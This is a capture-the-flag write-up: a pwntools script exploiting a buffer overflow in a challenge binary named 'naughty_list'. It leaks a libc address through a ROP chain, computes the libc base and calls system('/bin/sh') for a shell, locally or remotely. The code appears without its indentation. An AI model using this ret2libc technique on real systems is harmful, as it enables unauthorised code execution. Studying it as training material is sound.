Classic ret2libc buffer overflow; leak libc function, calculate offset to system('/bin/sh'). Walkthrough to follow: https://www.youtube.com/watch?v=3GGpyEkt8GE&t=916s

```py
from pwn import *

def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)

def find_ip(payload):
# Launch process and send payload
p = process(exe)
p.sendlineafter(b':', b'crypto')
p.sendlineafter(b':', b'cat')
p.sendlineafter(b':', b'18')
p.sendlineafter(b':', payload)
# Wait for the process to crash
p.wait()
# Print out the address of EIP/RIP at the time of crashing
# ip_offset = cyclic_find(p.corefile.pc) # x86
ip_offset = cyclic_find(p.corefile.read(p.corefile.sp, 4)) # x64
info('located EIP/RIP offset at {a}'.format(a=ip_offset))
return ip_offset

# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
break main
continue
'''.format(**locals())

# Set up pwntools for the correct architecture
exe = './naughty_list'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Enable verbose logging so we can see exactly what is being sent (info/debug)
context.log_level = 'info'

# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================

# Lib-C library
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') # Local
libc = ELF('libc.so.6') # Remote

# Pass in pattern_size, get back EIP/RIP offset
offset = find_ip(cyclic(1000))

ret = 0x400756

# Start program
io = start()

io.sendlineafter(b':', b'crypto')
io.sendlineafter(b':', b'cat')
io.sendlineafter(b':', b'18')

# Create a ROP object to handle complexities
rop = ROP(elf)

# Payload to leak libc function
rop.puts(elf.got.puts)
rop.get_descr()

# Send the payload
io.sendlineafter(':', flat({offset: rop.chain()}))

io.recvlines(6) # Receive up to leaked address

# Retrieve got.puts address
got_puts = unpack(io.recvline()[:6].ljust(8, b"\x00"))
info("leaked got_puts: %#x", got_puts)

# Subtract puts offset to get libc base
libc.address = got_puts - libc.symbols.puts
info("libc_base: %#x", libc.address)

# Reset ROP object with libc binary
rop = ROP(libc)

# Call ROP system, passing location of "/bin/sh" string
rop.system(next(libc.search(b'/bin/sh\x00')))

# Send the payload
io.sendline(flat({offset: [ret, rop.chain()]}))

# Got Shell?
io.interactive()
```

Original writeup (https://www.youtube.com/watch?v=3GGpyEkt8GE&t=916s).